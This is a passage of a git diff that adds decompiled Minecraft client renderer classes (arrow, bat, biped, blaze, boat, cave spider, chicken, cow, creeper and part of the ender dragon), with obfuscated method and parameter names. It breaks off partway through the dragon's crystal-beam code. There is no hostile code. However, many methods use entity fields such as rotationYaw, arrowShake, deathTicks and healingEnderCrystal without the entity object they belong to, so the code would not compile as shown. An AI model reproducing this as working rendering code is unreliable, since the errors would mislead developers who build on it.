+        double var10 = renderManager.getDistanceToCamera(posX, posY, posZ);
+        float var12 = (float)((1.0D - var10 / 256.0D) * shadowOpaque);
+        
+        if (var12 > 0.0F)
+        {
+          renderShadow(p_76979_1_, p_76979_2_, p_76979_4_, p_76979_6_, var12, p_76979_9_);
+        }
+      }
+      
+      if ((p_76979_1_.canRenderOnFire()) && ((!(p_76979_1_ instanceof EntityPlayer)) || (!((EntityPlayer)p_76979_1_).func_175149_v())))
+      {
+        renderEntityOnFire(p_76979_1_, p_76979_2_, p_76979_4_, p_76979_6_, p_76979_9_);
+      }
+    }
+  }
+  
+
+
+
+  public FontRenderer getFontRendererFromRenderManager()
+  {
+    return renderManager.getFontRenderer();
+  }
+  
+
+
+
+  protected void renderLivingLabel(Entity p_147906_1_, String p_147906_2_, double p_147906_3_, double p_147906_5_, double p_147906_7_, int p_147906_9_)
+  {
+    double var10 = p_147906_1_.getDistanceSqToEntity(renderManager.livingPlayer);
+    
+    if (var10 <= p_147906_9_ * p_147906_9_)
+    {
+      FontRenderer var12 = getFontRendererFromRenderManager();
+      float var13 = 1.6F;
+      float var14 = 0.016666668F * var13;
+      GlStateManager.pushMatrix();
+      GlStateManager.translate((float)p_147906_3_ + 0.0F, (float)p_147906_5_ + height + 0.5F, (float)p_147906_7_);
+      org.lwjgl.opengl.GL11.glNormal3f(0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(-renderManager.playerViewY, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(renderManager.playerViewX, 1.0F, 0.0F, 0.0F);
+      GlStateManager.scale(-var14, -var14, var14);
+      GlStateManager.disableLighting();
+      GlStateManager.depthMask(false);
+      GlStateManager.disableDepth();
+      GlStateManager.enableBlend();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      Tessellator var15 = Tessellator.getInstance();
+      WorldRenderer var16 = var15.getWorldRenderer();
+      byte var17 = 0;
+      
+      if (p_147906_2_.equals("deadmau5"))
+      {
+        var17 = -10;
+      }
+      
+      GlStateManager.func_179090_x();
+      var16.startDrawingQuads();
+      int var18 = var12.getStringWidth(p_147906_2_) / 2;
+      var16.func_178960_a(0.0F, 0.0F, 0.0F, 0.25F);
+      var16.addVertex(-var18 - 1, -1 + var17, 0.0D);
+      var16.addVertex(-var18 - 1, 8 + var17, 0.0D);
+      var16.addVertex(var18 + 1, 8 + var17, 0.0D);
+      var16.addVertex(var18 + 1, -1 + var17, 0.0D);
+      var15.draw();
+      GlStateManager.func_179098_w();
+      var12.drawString(p_147906_2_, -var12.getStringWidth(p_147906_2_) / 2, var17, 553648127);
+      GlStateManager.enableDepth();
+      GlStateManager.depthMask(true);
+      var12.drawString(p_147906_2_, -var12.getStringWidth(p_147906_2_) / 2, var17, -1);
+      GlStateManager.enableLighting();
+      GlStateManager.disableBlend();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  public RenderManager func_177068_d()
+  {
+    return renderManager;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderArrow.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderArrow.java
new file mode 100644
index 0000000..57da66e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderArrow.java
@@ -0,0 +1,109 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.opengl.GL11;
+
+public class RenderArrow extends Render
+{
+  private static final ResourceLocation arrowTextures = new ResourceLocation("textures/entity/arrow.png");
+  private static final String __OBFID = "CL_00000978";
+  
+  public RenderArrow(RenderManager p_i46193_1_)
+  {
+    super(p_i46193_1_);
+  }
+  
+  public void doRender(EntityArrow p_180551_1_, double p_180551_2_, double p_180551_4_, double p_180551_6_, float p_180551_8_, float p_180551_9_)
+  {
+    bindEntityTexture(p_180551_1_);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_180551_2_, (float)p_180551_4_, (float)p_180551_6_);
+    GlStateManager.rotate(prevRotationYaw + (rotationYaw - prevRotationYaw) * p_180551_9_ - 90.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(prevRotationPitch + (rotationPitch - prevRotationPitch) * p_180551_9_, 0.0F, 0.0F, 1.0F);
+    Tessellator var10 = Tessellator.getInstance();
+    WorldRenderer var11 = var10.getWorldRenderer();
+    byte var12 = 0;
+    float var13 = 0.0F;
+    float var14 = 0.5F;
+    float var15 = (0 + var12 * 10) / 32.0F;
+    float var16 = (5 + var12 * 10) / 32.0F;
+    float var17 = 0.0F;
+    float var18 = 0.15625F;
+    float var19 = (5 + var12 * 10) / 32.0F;
+    float var20 = (10 + var12 * 10) / 32.0F;
+    float var21 = 0.05625F;
+    GlStateManager.enableRescaleNormal();
+    float var22 = arrowShake - p_180551_9_;
+    
+    if (var22 > 0.0F)
+    {
+      float var23 = -MathHelper.sin(var22 * 3.0F) * var22;
+      GlStateManager.rotate(var23, 0.0F, 0.0F, 1.0F);
+    }
+    
+    GlStateManager.rotate(45.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.scale(var21, var21, var21);
+    GlStateManager.translate(-4.0F, 0.0F, 0.0F);
+    GL11.glNormal3f(var21, 0.0F, 0.0F);
+    var11.startDrawingQuads();
+    var11.addVertexWithUV(-7.0D, -2.0D, -2.0D, var17, var19);
+    var11.addVertexWithUV(-7.0D, -2.0D, 2.0D, var18, var19);
+    var11.addVertexWithUV(-7.0D, 2.0D, 2.0D, var18, var20);
+    var11.addVertexWithUV(-7.0D, 2.0D, -2.0D, var17, var20);
+    var10.draw();
+    GL11.glNormal3f(-var21, 0.0F, 0.0F);
+    var11.startDrawingQuads();
+    var11.addVertexWithUV(-7.0D, 2.0D, -2.0D, var17, var19);
+    var11.addVertexWithUV(-7.0D, 2.0D, 2.0D, var18, var19);
+    var11.addVertexWithUV(-7.0D, -2.0D, 2.0D, var18, var20);
+    var11.addVertexWithUV(-7.0D, -2.0D, -2.0D, var17, var20);
+    var10.draw();
+    
+    for (int var24 = 0; var24 < 4; var24++)
+    {
+      GlStateManager.rotate(90.0F, 1.0F, 0.0F, 0.0F);
+      GL11.glNormal3f(0.0F, 0.0F, var21);
+      var11.startDrawingQuads();
+      var11.addVertexWithUV(-8.0D, -2.0D, 0.0D, var13, var15);
+      var11.addVertexWithUV(8.0D, -2.0D, 0.0D, var14, var15);
+      var11.addVertexWithUV(8.0D, 2.0D, 0.0D, var14, var16);
+      var11.addVertexWithUV(-8.0D, 2.0D, 0.0D, var13, var16);
+      var10.draw();
+    }
+    
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.popMatrix();
+    super.doRender(p_180551_1_, p_180551_2_, p_180551_4_, p_180551_6_, p_180551_8_, p_180551_9_);
+  }
+  
+  protected ResourceLocation getEntityTexture(EntityArrow p_180550_1_)
+  {
+    return arrowTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityArrow)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    doRender((EntityArrow)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderBat.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderBat.java
new file mode 100644
index 0000000..83a5819
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderBat.java
@@ -0,0 +1,66 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBat;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityBat;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderBat extends RenderLiving
+{
+  private static final ResourceLocation batTextures = new ResourceLocation("textures/entity/bat.png");
+  private static final String __OBFID = "CL_00000979";
+  
+  public RenderBat(RenderManager p_i46192_1_)
+  {
+    super(p_i46192_1_, new ModelBat(), 0.25F);
+  }
+  
+  protected ResourceLocation func_180566_a(EntityBat p_180566_1_)
+  {
+    return batTextures;
+  }
+  
+  protected void func_180567_a(EntityBat p_180567_1_, float p_180567_2_)
+  {
+    GlStateManager.scale(0.35F, 0.35F, 0.35F);
+  }
+  
+  protected void rotateCorpse(EntityBat p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    if (!p_77043_1_.getIsBatHanging())
+    {
+      GlStateManager.translate(0.0F, MathHelper.cos(p_77043_2_ * 0.3F) * 0.1F, 0.0F);
+    }
+    else
+    {
+      GlStateManager.translate(0.0F, -0.1F, 0.0F);
+    }
+    
+    super.rotateCorpse(p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    func_180567_a((EntityBat)p_77041_1_, p_77041_2_);
+  }
+  
+  protected void rotateCorpse(EntityLivingBase p_77043_1_, float p_77043_2_, float p_77043_3_, float p_77043_4_)
+  {
+    rotateCorpse((EntityBat)p_77043_1_, p_77043_2_, p_77043_3_, p_77043_4_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180566_a((EntityBat)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderBiped.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderBiped.java
new file mode 100644
index 0000000..e2fe91e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderBiped.java
@@ -0,0 +1,52 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBiped;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerCustomHead;
+import net.minecraft.client.renderer.entity.layers.LayerHeldItem;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderBiped extends RenderLiving
+{
+  private static final ResourceLocation field_177118_j = new ResourceLocation("textures/entity/steve.png");
+  protected ModelBiped modelBipedMain;
+  protected float field_77070_b;
+  private static final String __OBFID = "CL_00001001";
+  
+  public RenderBiped(RenderManager p_i46168_1_, ModelBiped p_i46168_2_, float p_i46168_3_)
+  {
+    this(p_i46168_1_, p_i46168_2_, p_i46168_3_, 1.0F);
+    addLayer(new LayerHeldItem(this));
+  }
+  
+  public RenderBiped(RenderManager p_i46169_1_, ModelBiped p_i46169_2_, float p_i46169_3_, float p_i46169_4_)
+  {
+    super(p_i46169_1_, p_i46169_2_, p_i46169_3_);
+    modelBipedMain = p_i46169_2_;
+    field_77070_b = p_i46169_4_;
+    addLayer(new LayerCustomHead(bipedHead));
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityLiving p_110775_1_)
+  {
+    return field_177118_j;
+  }
+  
+  public void func_82422_c()
+  {
+    GlStateManager.translate(0.0F, 0.1875F, 0.0F);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityLiving)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderBlaze.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderBlaze.java
new file mode 100644
index 0000000..3748bb9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderBlaze.java
@@ -0,0 +1,33 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBlaze;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.monster.EntityBlaze;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderBlaze extends RenderLiving
+{
+  private static final ResourceLocation blazeTextures = new ResourceLocation("textures/entity/blaze.png");
+  private static final String __OBFID = "CL_00000980";
+  
+  public RenderBlaze(RenderManager p_i46191_1_)
+  {
+    super(p_i46191_1_, new ModelBlaze(), 0.5F);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntityBlaze p_110775_1_)
+  {
+    return blazeTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityBlaze)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderBoat.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderBoat.java
new file mode 100644
index 0000000..2e7f3aa
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderBoat.java
@@ -0,0 +1,76 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelBoat;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderBoat extends Render
+{
+  private static final ResourceLocation boatTextures = new ResourceLocation("textures/entity/boat.png");
+  
+
+  protected ModelBase modelBoat = new ModelBoat();
+  private static final String __OBFID = "CL_00000981";
+  
+  public RenderBoat(RenderManager p_i46190_1_)
+  {
+    super(p_i46190_1_);
+    shadowSize = 0.5F;
+  }
+  
+  public void func_180552_a(EntityBoat p_180552_1_, double p_180552_2_, double p_180552_4_, double p_180552_6_, float p_180552_8_, float p_180552_9_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_180552_2_, (float)p_180552_4_ + 0.25F, (float)p_180552_6_);
+    GlStateManager.rotate(180.0F - p_180552_8_, 0.0F, 1.0F, 0.0F);
+    float var10 = p_180552_1_.getTimeSinceHit() - p_180552_9_;
+    float var11 = p_180552_1_.getDamageTaken() - p_180552_9_;
+    
+    if (var11 < 0.0F)
+    {
+      var11 = 0.0F;
+    }
+    
+    if (var10 > 0.0F)
+    {
+      GlStateManager.rotate(MathHelper.sin(var10) * var10 * var11 / 10.0F * p_180552_1_.getForwardDirection(), 1.0F, 0.0F, 0.0F);
+    }
+    
+    float var12 = 0.75F;
+    GlStateManager.scale(var12, var12, var12);
+    GlStateManager.scale(1.0F / var12, 1.0F / var12, 1.0F / var12);
+    bindEntityTexture(p_180552_1_);
+    GlStateManager.scale(-1.0F, -1.0F, 1.0F);
+    modelBoat.render(p_180552_1_, 0.0F, 0.0F, -0.1F, 0.0F, 0.0F, 0.0625F);
+    GlStateManager.popMatrix();
+    super.doRender(p_180552_1_, p_180552_2_, p_180552_4_, p_180552_6_, p_180552_8_, p_180552_9_);
+  }
+  
+  protected ResourceLocation func_180553_a(EntityBoat p_180553_1_)
+  {
+    return boatTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180553_a((EntityBoat)p_110775_1_);
+  }
+  
+
+
+
+
+
+
+  public void doRender(Entity p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    func_180552_a((EntityBoat)p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderCaveSpider.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderCaveSpider.java
new file mode 100644
index 0000000..9baa08d
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderCaveSpider.java
@@ -0,0 +1,55 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityCaveSpider;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderCaveSpider extends RenderSpider
+{
+  private static final ResourceLocation caveSpiderTextures = new ResourceLocation("textures/entity/spider/cave_spider.png");
+  private static final String __OBFID = "CL_00000982";
+  
+  public RenderCaveSpider(RenderManager p_i46189_1_)
+  {
+    super(p_i46189_1_);
+    shadowSize *= 0.7F;
+  }
+  
+  protected void func_180585_a(EntityCaveSpider p_180585_1_, float p_180585_2_)
+  {
+    GlStateManager.scale(0.7F, 0.7F, 0.7F);
+  }
+  
+  protected ResourceLocation func_180586_a(EntityCaveSpider p_180586_1_)
+  {
+    return caveSpiderTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(EntitySpider p_110775_1_)
+  {
+    return func_180586_a((EntityCaveSpider)p_110775_1_);
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    func_180585_a((EntityCaveSpider)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180586_a((EntityCaveSpider)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderChicken.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderChicken.java
new file mode 100644
index 0000000..027a9f4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderChicken.java
@@ -0,0 +1,47 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderChicken extends RenderLiving
+{
+  private static final ResourceLocation chickenTextures = new ResourceLocation("textures/entity/chicken.png");
+  private static final String __OBFID = "CL_00000983";
+  
+  public RenderChicken(RenderManager p_i46188_1_, ModelBase p_i46188_2_, float p_i46188_3_)
+  {
+    super(p_i46188_1_, p_i46188_2_, p_i46188_3_);
+  }
+  
+  protected ResourceLocation func_180568_a(EntityChicken p_180568_1_)
+  {
+    return chickenTextures;
+  }
+  
+  protected float func_180569_a(EntityChicken p_180569_1_, float p_180569_2_)
+  {
+    float var3 = field_70888_h + (field_70886_e - field_70888_h) * p_180569_2_;
+    float var4 = field_70884_g + (destPos - field_70884_g) * p_180569_2_;
+    return (MathHelper.sin(var3) + 1.0F) * var4;
+  }
+  
+
+
+
+  protected float handleRotationFloat(EntityLivingBase p_77044_1_, float p_77044_2_)
+  {
+    return func_180569_a((EntityChicken)p_77044_1_, p_77044_2_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180568_a((EntityChicken)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderCow.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderCow.java
new file mode 100644
index 0000000..8c3c3eb
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderCow.java
@@ -0,0 +1,30 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.passive.EntityCow;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderCow extends RenderLiving
+{
+  private static final ResourceLocation cowTextures = new ResourceLocation("textures/entity/cow/cow.png");
+  private static final String __OBFID = "CL_00000984";
+  
+  public RenderCow(RenderManager p_i46187_1_, ModelBase p_i46187_2_, float p_i46187_3_)
+  {
+    super(p_i46187_1_, p_i46187_2_, p_i46187_3_);
+  }
+  
+  protected ResourceLocation func_180572_a(EntityCow p_180572_1_)
+  {
+    return cowTextures;
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return func_180572_a((EntityCow)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderCreeper.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderCreeper.java
new file mode 100644
index 0000000..c39c343
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderCreeper.java
@@ -0,0 +1,83 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelCreeper;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.entity.layers.LayerCreeperCharge;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderCreeper extends RenderLiving
+{
+  private static final ResourceLocation creeperTextures = new ResourceLocation("textures/entity/creeper/creeper.png");
+  private static final String __OBFID = "CL_00000985";
+  
+  public RenderCreeper(RenderManager p_i46186_1_)
+  {
+    super(p_i46186_1_, new ModelCreeper(), 0.5F);
+    addLayer(new LayerCreeperCharge(this));
+  }
+  
+  protected void func_180570_a(EntityCreeper p_180570_1_, float p_180570_2_)
+  {
+    float var3 = p_180570_1_.getCreeperFlashIntensity(p_180570_2_);
+    float var4 = 1.0F + MathHelper.sin(var3 * 100.0F) * var3 * 0.01F;
+    var3 = MathHelper.clamp_float(var3, 0.0F, 1.0F);
+    var3 *= var3;
+    var3 *= var3;
+    float var5 = (1.0F + var3 * 0.4F) * var4;
+    float var6 = (1.0F + var3 * 0.1F) / var4;
+    GlStateManager.scale(var5, var6, var5);
+  }
+  
+  protected int func_180571_a(EntityCreeper p_180571_1_, float p_180571_2_, float p_180571_3_)
+  {
+    float var4 = p_180571_1_.getCreeperFlashIntensity(p_180571_3_);
+    
+    if ((int)(var4 * 10.0F) % 2 == 0)
+    {
+      return 0;
+    }
+    
+
+    int var5 = (int)(var4 * 0.2F * 255.0F);
+    var5 = MathHelper.clamp_int(var5, 0, 255);
+    return var5 << 24 | 0xFFFFFF;
+  }
+  
+
+
+
+
+  protected ResourceLocation getEntityTexture(EntityCreeper p_110775_1_)
+  {
+    return creeperTextures;
+  }
+  
+
+
+
+
+  protected void preRenderCallback(EntityLivingBase p_77041_1_, float p_77041_2_)
+  {
+    func_180570_a((EntityCreeper)p_77041_1_, p_77041_2_);
+  }
+  
+
+
+
+  protected int getColorMultiplier(EntityLivingBase p_77030_1_, float p_77030_2_, float p_77030_3_)
+  {
+    return func_180571_a((EntityCreeper)p_77030_1_, p_77030_2_, p_77030_3_);
+  }
+  
+
+
+
+  protected ResourceLocation getEntityTexture(Entity p_110775_1_)
+  {
+    return getEntityTexture((EntityCreeper)p_110775_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/entity/RenderDragon.java b/src/minecraft/net/minecraft/client/renderer/entity/RenderDragon.java
new file mode 100644
index 0000000..5f1b79e
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/entity/RenderDragon.java
@@ -0,0 +1,213 @@
+package net.minecraft.client.renderer.entity;
+
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelDragon;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.RenderHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.entity.layers.LayerEnderDragonDeath;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.boss.EntityDragon;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+
+public class RenderDragon extends RenderLiving
+{
+  private static final ResourceLocation enderDragonCrystalBeamTextures = new ResourceLocation("textures/entity/endercrystal/endercrystal_beam.png");
+  private static final ResourceLocation enderDragonExplodingTextures = new ResourceLocation("textures/entity/enderdragon/dragon_exploding.png");
+  private static final ResourceLocation enderDragonTextures = new ResourceLocation("textures/entity/enderdragon/dragon.png");
+  
+  protected ModelDragon modelDragon;
+  
+  private static final String __OBFID = "CL_00000988";
+  
+  public RenderDragon(RenderManager p_i46183_1_)
+  {
+    super(p_i46183_1_, new ModelDragon(0.0F), 0.5F);
+    modelDragon = ((ModelDragon)mainModel);
+    addLayer(new net.minecraft.client.renderer.entity.layers.LayerEnderDragonEyes(this));
+    addLayer(new LayerEnderDragonDeath());
+  }
+  
+  protected void func_180575_a(EntityDragon p_180575_1_, float p_180575_2_, float p_180575_3_, float p_180575_4_)
+  {
+    float var5 = (float)p_180575_1_.getMovementOffsets(7, p_180575_4_)[0];
+    float var6 = (float)(p_180575_1_.getMovementOffsets(5, p_180575_4_)[1] - p_180575_1_.getMovementOffsets(10, p_180575_4_)[1]);
+    GlStateManager.rotate(-var5, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(var6 * 10.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.translate(0.0F, 0.0F, 1.0F);
+    
+    if (deathTime > 0)
+    {
+      float var7 = (deathTime + p_180575_4_ - 1.0F) / 20.0F * 1.6F;
+      var7 = MathHelper.sqrt_float(var7);
+      
+      if (var7 > 1.0F)
+      {
+        var7 = 1.0F;
+      }
+      
+      GlStateManager.rotate(var7 * getDeathMaxRotation(p_180575_1_), 0.0F, 0.0F, 1.0F);
+    }
+  }
+  
+
+
+
+  protected void renderModel(EntityDragon p_77036_1_, float p_77036_2_, float p_77036_3_, float p_77036_4_, float p_77036_5_, float p_77036_6_, float p_77036_7_)
+  {
+    if (deathTicks > 0)
+    {
+      float var8 = deathTicks / 200.0F;
+      GlStateManager.depthFunc(515);
+      GlStateManager.enableAlpha();
+      GlStateManager.alphaFunc(516, var8);
+      bindTexture(enderDragonExplodingTextures);
+      mainModel.render(p_77036_1_, p_77036_2_, p_77036_3_, p_77036_4_, p_77036_5_, p_77036_6_, p_77036_7_);
+      GlStateManager.alphaFunc(516, 0.1F);
+      GlStateManager.depthFunc(514);
+    }
+    
+    bindEntityTexture(p_77036_1_);
+    mainModel.render(p_77036_1_, p_77036_2_, p_77036_3_, p_77036_4_, p_77036_5_, p_77036_6_, p_77036_7_);
+    
+    if (hurtTime > 0)
+    {
+      GlStateManager.depthFunc(514);
+      GlStateManager.func_179090_x();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.color(1.0F, 0.0F, 0.0F, 0.5F);
+      mainModel.render(p_77036_1_, p_77036_2_, p_77036_3_, p_77036_4_, p_77036_5_, p_77036_6_, p_77036_7_);
+      GlStateManager.func_179098_w();
+      GlStateManager.disableBlend();
+      GlStateManager.depthFunc(515);
+    }
+  }
+  
+
+
+
+
+
+
+  public void doRender(EntityDragon p_76986_1_, double p_76986_2_, double p_76986_4_, double p_76986_6_, float p_76986_8_, float p_76986_9_)
+  {
+    net.minecraft.entity.boss.BossStatus.setBossStatus(p_76986_1_, false);
+    super.doRender(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_8_, p_76986_9_);
+    
+    if (healingEnderCrystal != null)
+    {
+      func_180574_a(p_76986_1_, p_76986_2_, p_76986_4_, p_76986_6_, p_76986_9_);
+    }
+  }
+  
+  protected void func_180574_a(EntityDragon p_180574_1_, double p_180574_2_, double p_180574_4_, double p_180574_6_, float p_180574_8_)
+  {
+    float var9 = healingEnderCrystal.innerRotation + p_180574_8_;
+    float var10 = MathHelper.sin(var9 * 0.2F) / 2.0F + 0.5F;
+    var10 = (var10 * var10 + var10) * 0.2F;
+    float var11 = (float)(healingEnderCrystal.posX - posX - (prevPosX - posX) * (1.0F - p_180574_8_));
+    float var12 = (float)(var10 + healingEnderCrystal.posY - 1.0D - posY - (prevPosY - posY) * (1.0F - p_180574_8_));
+    float var13 = (float)(healingEnderCrystal.posZ - posZ - (prevPosZ - posZ) * (1.0F - p_180574_8_));
+    float var14 = MathHelper.sqrt_float(var11 * var11 + var13 * var13);
+    float var15 = MathHelper.sqrt_float(var11 * var11 + var12 * var12 + var13 * var13);
+    GlStateManager.pushMatrix();
+    GlStateManager.translate((float)p_180574_2_, (float)p_180574_4_ + 2.0F, (float)p_180574_6_);
+    GlStateManager.rotate((float)-Math.atan2(var13, var11) * 180.0F / 3.1415927F - 90.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate((float)-Math.atan2(var14, var12) * 180.0F / 3.1415927F - 90.0F, 1.0F, 0.0F, 0.0F);
+    Tessellator var16 = Tessellator.getInstance();
+    WorldRenderer var17 = var16.getWorldRenderer();
+    RenderHelper.disableStandardItemLighting();
+    GlStateManager.disableCull();
+    bindTexture(enderDragonCrystalBeamTextures);
+    GlStateManager.shadeModel(7425);
+    float var18 = 0.0F - (ticksExisted + p_180574_8_) * 0.01F;
+    float var19 = MathHelper.sqrt_float(var11 * var11 + var12 * var12 + var13 * var13) / 32.0F - (ticksExisted + p_180574_8_) * 0.01F;
+    var17.startDrawing(5);
+    byte var20 = 8;
+    
+    for (int var21 = 0; var21 <= var20; var21++)
+    {
+      float var22 = MathHelper.sin(var21 % var20 * 3.1415927F * 2.0F / var20) * 0.75F;
+      float var23 = MathHelper.cos(var21 % var20 * 3.1415927F * 2.0F / var20) * 0.75F;
+      float var24 = var21 % var20 * 1.0F / var20;
+      var17.func_178991_c(0);
+      var17.addVertexWithUV(var22 * 0.2F, var23 * 0.2F, 0.0D, var24, var19);
+      var17.func_178991_c(16777215);
+      var17.addVertexWithUV(var22, var23, var15, var24, var18);
+    }
+    
+    var16.draw();
